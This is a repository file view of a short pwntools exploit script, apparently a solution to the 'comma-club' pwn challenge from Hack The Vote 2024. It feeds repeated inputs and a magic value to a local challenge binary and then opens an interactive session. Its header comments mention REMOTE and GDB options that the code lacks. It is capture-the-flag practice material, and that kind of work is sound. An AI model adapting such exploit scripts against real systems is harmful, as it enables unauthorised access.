Files
ctf/2024/hackthevote/pwn/comma-club/exploit.py
2025-06-06 03:13:31 +02:00

21 lines
495 B
Python

# A custom template for binary exploitation that uses pwntools.
# Examples:
# python exploit.py DEBUG NOASLR GDB
# python exploit.py DEBUG REMOTE
from pwn import *
with process("./challenge") as p:
print(p.recvuntil(b'>').decode())
p.sendline("1".encode())
print(p.recvuntil(b'>').decode())
for i in range(3000):
p.sendline("1".encode())
print(p.recvuntil(b'>').decode())
p.sendline(b"584057")
print(p.recvline())
p.interactive()